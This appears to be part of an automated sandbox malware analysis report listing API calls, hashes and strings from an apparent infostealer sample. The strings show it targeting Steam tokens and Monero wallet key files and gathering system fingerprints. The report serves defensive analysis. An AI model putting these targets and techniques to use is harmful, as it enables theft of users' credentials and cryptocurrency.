GetCurrentProcessId.KERNEL32(00000000,?,0178D398,00000000,?,00AE0E24,00000000,?,00000000,00000000,?,0178D8B0,00000000,?,00AE0E20,00000000), ref: 00AD207E

Part of subcall function 00AD9470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00AD9484
Part of subcall function 00AD9470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00AD94A5
Part of subcall function 00AD9470: CloseHandle.KERNEL32(00000000), ref: 00AD94AF

Part of subcall function 00AD7E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00AD7E37
Part of subcall function 00AD7E00: RtlAllocateHeap.NTDLL(00000000), ref: 00AD7E3E
Part of subcall function 00AD7E00: RegOpenKeyExA.KERNEL32(80000002,0177B968,00000000,00020119,?), ref: 00AD7E5E
Part of subcall function 00AD7E00: RegQueryValueExA.KERNEL32(?,0178D078,00000000,00000000,000000FF,000000FF), ref: 00AD7E7F
Part of subcall function 00AD7E00: RegCloseKey.ADVAPI32(?), ref: 00AD7E92

Part of subcall function 00AD7F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00AD7FC9
Part of subcall function 00AD7F60: GetLastError.KERNEL32 ref: 00AD7FD8

Part of subcall function 00AD7ED0: GetSystemInfo.KERNEL32(00AE0E2C), ref: 00AD7F00
Part of subcall function 00AD7ED0: wsprintfA.USER32 ref: 00AD7F16

Part of subcall function 00AD8100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0178DAF0,00000000,?,00AE0E2C,00000000,?,00000000), ref: 00AD8130
Part of subcall function 00AD8100: RtlAllocateHeap.NTDLL(00000000), ref: 00AD8137
Part of subcall function 00AD8100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00AD8158
Part of subcall function 00AD8100: wsprintfA.USER32 ref: 00AD81AC

Part of subcall function 00AD87C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00AE0E28,00000000,?), ref: 00AD882F
Part of subcall function 00AD87C0: RtlAllocateHeap.NTDLL(00000000), ref: 00AD8836
Part of subcall function 00AD87C0: wsprintfA.USER32 ref: 00AD8850

Part of subcall function 00AD8320: RegOpenKeyExA.KERNEL32(00000000,0178AE20,00000000,00020019,00000000,00AE05B6), ref: 00AD83A4

Part of subcall function 00AD8320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00AD8426
Part of subcall function 00AD8320: wsprintfA.USER32 ref: 00AD8459
Part of subcall function 00AD8320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00AD847B
Part of subcall function 00AD8320: RegCloseKey.ADVAPI32(00000000), ref: 00AD848C
Part of subcall function 00AD8320: RegCloseKey.ADVAPI32(00000000), ref: 00AD8499

Part of subcall function 00AD8680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00AE05B7), ref: 00AD86CA
Part of subcall function 00AD8680: Process32First.KERNEL32(?,00000128), ref: 00AD86DE
Part of subcall function 00AD8680: Process32Next.KERNEL32(?,00000128), ref: 00AD86F3
Part of subcall function 00AD8680: CloseHandle.KERNEL32(?), ref: 00AD8761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 00AD265B

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUserlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 60318822-0
Opcode ID: 36017c6a7675c7b4fe4062091d9009799deaf19e356051ecb69aaa6702285a53
Instruction ID: ae3aa12341023c95c7f189bedd5ffff9d42df1598fc350f37b3d6df4b700a63a
Opcode Fuzzy Hash: 36017c6a7675c7b4fe4062091d9009799deaf19e356051ecb69aaa6702285a53
Instruction Fuzzy Hash: 5072A172D10158AACB19FB90DDA6EEE733CAF34300F5046AAB51762251EF302B49DF65

Function 00AC6D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb2fba2d740539748ad625d4270a27264d6110a87c6616e88f21909ae46438dc
Instruction ID: 50ff0098b553653c0295d1ab648b938cd30288edfa943e5fa78429d45065cdb2
Opcode Fuzzy Hash: cb2fba2d740539748ad625d4270a27264d6110a87c6616e88f21909ae46438dc
Instruction Fuzzy Hash: 4461F4B4900218EFCF14CF98EA84BEEB7B0BB48304F11859DE419A7281D775AE94DF91

Function 00AD70D0 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 140COMMON

Download Yara Rule

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00AD718C

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-4138519520
Opcode ID: b8d82d558e42ade0f1902a743a9a9186d7b5f6dd60c40746695556052840f89d
Instruction ID: 80e1fffb515cc1849bc8cd7cd947ba9757a2405e9bb188095014c921520d904d
Opcode Fuzzy Hash: b8d82d558e42ade0f1902a743a9a9186d7b5f6dd60c40746695556052840f89d
Instruction Fuzzy Hash: 1F5170B0D042189BDB18EB90DD85BEEB374AF54304F1041AEF51677291EB746E88CF59

Function 00AD5100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

Part of subcall function 00ADA820: lstrlen.KERNEL32(00AC4F05,?,?,00AC4F05,00AE0DDE), ref: 00ADA82B
Part of subcall function 00ADA820: lstrcpy.KERNEL32(00AE0DDE,00000000), ref: 00ADA885

lstrlen.KERNEL32(00000000,00000000,00AE0ACA), ref: 00AD512A

Strings

steam_tokens.txt, xrefs: 00AD513F

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: e9d37636925e2e382ca48d37228bf30bbfbe22795a1f4d3ba9adf3eec8a63091
Instruction ID: 475949a4b2e7736557b8dc0cf5b2d6084a44912f9751594973a58485236fd72f
Opcode Fuzzy Hash: e9d37636925e2e382ca48d37228bf30bbfbe22795a1f4d3ba9adf3eec8a63091
Instruction Fuzzy Hash: F6F01D7191010866CB04FBB0DE57EED733CAB64340F40426AB817A2292FF356609C7A6

Function 00AD7ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00AE0E2C), ref: 00AD7F00
wsprintfA.USER32 ref: 00AD7F16

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: eefb2a3b3f3c5fd1d3feb563f70298097eb621ead33792ef5cbe0c5e91084c63
Instruction ID: 1b1f8a09c3da3b150a43669dace08db5b522551340e54673ae4aacf0bfb06ac0
Opcode Fuzzy Hash: eefb2a3b3f3c5fd1d3feb563f70298097eb621ead33792ef5cbe0c5e91084c63
Instruction Fuzzy Hash: EAF0CDB1A00308EBCB10CF89DC45FAABBBCFB48A24F40466AF50592280D3B529008BE1

Function 00ACB4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

Part of subcall function 00ADA9B0: lstrlen.KERNEL32(?,017889E0,?,\Monero\wallet.keys,00AE0E17), ref: 00ADA9C5
Part of subcall function 00ADA9B0: lstrcpy.KERNEL32(00000000), ref: 00ADAA04
Part of subcall function 00ADA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00ADAA12

Part of subcall function 00ADA920: lstrcpy.KERNEL32(00000000,?), ref: 00ADA972
Part of subcall function 00ADA920: lstrcat.KERNEL32(00000000), ref: 00ADA982

Part of subcall function 00ADA8A0: lstrcpy.KERNEL32(?,00AE0E17), ref: 00ADA905

Part of subcall function 00ADA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00ADA7E6

lstrlen.KERNEL32(00000000), ref: 00ACB9C2
lstrlen.KERNEL32(00000000), ref: 00ACB9D6

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 37bb0e7f0d873e98c44343244207193ad463a78c3e971c2761aabc53918b6c2c
Instruction ID: 1d1a28b726e16a6ad9911ab10b933e249a579d88fe1d8bb415708952ff85284a
Opcode Fuzzy Hash: 37bb0e7f0d873e98c44343244207193ad463a78c3e971c2761aabc53918b6c2c
Instruction Fuzzy Hash: 26E123729101589BCB04FBA4CE96EEE7338BF24300F40455AF507A6291EF346B49DB76

Function 00ACAEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

Part of subcall function 00ADA9B0: lstrlen.KERNEL32(?,017889E0,?,\Monero\wallet.keys,00AE0E17), ref: 00ADA9C5
Part of subcall function 00ADA9B0: lstrcpy.KERNEL32(00000000), ref: 00ADAA04
Part of subcall function 00ADA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00ADAA12

Part of subcall function 00ADA920: lstrcpy.KERNEL32(00000000,?), ref: 00ADA972
Part of subcall function 00ADA920: lstrcat.KERNEL32(00000000), ref: 00ADA982

Part of subcall function 00ADA8A0: lstrcpy.KERNEL32(?,00AE0E17), ref: 00ADA905

lstrlen.KERNEL32(00000000), ref: 00ACB16A
lstrlen.KERNEL32(00000000), ref: 00ACB17E

Part of subcall function 00ADA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00ADA7E6

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
